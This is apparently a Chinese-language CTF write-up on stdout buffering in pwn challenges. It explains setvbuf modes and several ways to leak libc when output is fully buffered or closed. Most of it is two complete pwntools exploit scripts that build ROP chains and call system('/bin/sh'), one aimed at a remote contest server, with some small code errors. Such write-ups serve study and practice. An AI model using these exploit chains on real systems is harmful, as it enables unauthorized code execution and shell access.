stdout
stdin、stdout、stderr对应程序的输入流文件、输出流文件和错误流文件,默认情况下文件标识符为0、1、2。
很多pwn题在init中都有如下代码,这是初始化程序的io
结构体,只有初始化之后,io
函数才能在程序过程中打印数据,如果不初始化,就只能在exit
结束的时候,才能一起把数据打印出来。。
1 2 3
| setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL);
|
函数原型如下:
1
| int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
|
- stream – 这是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流。
- buffer – 这是分配给用户的缓冲。如果设置为 NULL,该函数会自动分配一个指定大小的缓冲。
- mode – 这指定了文件缓冲的模式。
而其中mode参数决定了文件缓存的模式:
对于stdout而言,mode为0时表示全缓冲,即程序在exit结束时或缓冲区填满时才打印内容。
mode为1时表示行缓冲,即程序在遇到换行符或者在缓冲区填满时才打印内容。
mode为2时表示无缓冲,即程序立刻打印当前内容。
很多pwn题中需要泄露libc,但题目中没有给出puts相关的函数或者将stdout的mode设为0(即开启全缓冲),使得没有办法泄露libc。
这里总结几种思路:
1、对于堆题,若程序中没有puts相关函数但能任意地址写,可利用_IO_2_1_stdout泄露libc,具体实现方法为修改该结构体的flag字段,使得程序误认为缓冲区有内容,即可调用io_puts函数输出stdout_addr进而泄露libc。_
参考: 好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc_libc泄露方式-CSDN博客
2、对于栈题,若设置了setvbuf(stdout, 0LL, 0, 0LL) 且存在栈溢出,可:
若能控制rdx寄存器,则可通过调用setvbuf(stdout, 0LL, 2, 0LL) 将输出缓冲区开启,之后泄露libc。
若不能控制rdx,可尝试填满缓冲区将内容输出。
1 2 3
| for i range(150): payload = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) io.sendlineafter(payload)
|
有时候填满缓冲区对于本地可以,对于远程却不行(可能是远程对缓冲区有一些设置),此时可以通过fllush(stdout)刷新缓冲区,即可输入内容。
具体方法:若got表可写,由于fllush和setvbuf的libc地址相近,仅相差2字节,且低12位固定,因此可以考虑爆破4位,即1/16概率修改setvbuf为fllush,然后跳转回main(因为不知道stdout的地址),再次执行setvbuf(stdin, 0LL, 0, 0LL) 时会执行fllush(stdout)刷新缓冲区进而泄露出libc。
例题:2024春秋杯网络安全联赛夏季赛 stdout
程序开始设置了setvbuf(stdout, 0LL, 0, 0LL) 且存在栈溢出。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import *
elf = ELF("./pwn3") libc = ELF("./libc-2.31.so")
from pwn import *
elf = ELF("./pwn3") libc = ELF("./libc-2.31.so")
context(arch=elf.arch, os=elf.os) context.log_level = 'debug'
while True: p = process("./pwn3") try: vuln = 0x40125D payload = b'a' * 0x50 + b'deadbeef' + p64(vuln) p.send(payload)
pop_rdi = 0x00000000004013d3 pop_rsi_r15 = 0x00000000004013d1 ret = 0x000000000040101a main = elf.sym['main'] read_plt = elf.plt['read'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] setvbuf_got = elf.got['setvbuf']
payload = b'a' * 0x20 + b'deadbeef' payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(setvbuf_got) + p64(0) + p64(read_plt) payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) payload += p64(main) p.send(payload) sleep(1)
p.send(p16(0x4340)) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc_base = puts_addr - libc.sym['puts'] success("libc_base = " + hex(libc_base)) system = libc_base + libc.sym["system"] binsh = libc_base + next(libc.search(b"/bin/sh\x00")) payload = b'a' * 0x50 + b'deadbeef' + p64(vuln) p.send(payload) payload = b'a' * 0x20 + b'deadbeef' + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) p.send(payload)
p.interactive() except: p.close()
|
参考大佬:2024全国大学生信息安全竞赛(ciscn)半决赛(华东北赛区)Pwn题解 - 知乎 (zhihu.com)
close(1)
对于直接关闭标准输出的程序,可以通过修改bss段的stdout指向stderr来做,最后获取shell后再exec 1>&2重定向到标准错误。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import * from ctypes import * from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(a): return p.recv(a) def ru(a): return p.recvuntil(a) def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
p = remote('47.105.113.86',30003)
elf = ELF('./pwn') libc = elf.libc
write_got = elf.got['write'] write_plt = elf.plt['write'] read_plt = elf.plt['read'] pop_rdi_ret = 0x4012c3 pop_rsi_r15 = 0x4012c1 ret_addr = 0x40101a main = 0x4011DD stdout_addr = 0x404060
payload = b'a' * 0x28 + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15)+ p64(stdout_addr) * 2 + p64(read_plt) + p64(pop_rdi_ret) + p64(2) + p64(pop_rsi_r15)+ p64(write_got) * 2 + p64(write_plt) + p64(main)
sla("blind now.",payload)
sleep(1) s(b'\xc0\x15') //修改bss段stdout指向stderr_2_1
libc_base = get_addr() - libc.sym['write'] success("libc_base: " + hex(libc_base)) system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
sleep(1) payload = b'a' * 0x28 + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh) + p64(ret_addr) + p64(system) sl(payload)
p.interactive()
|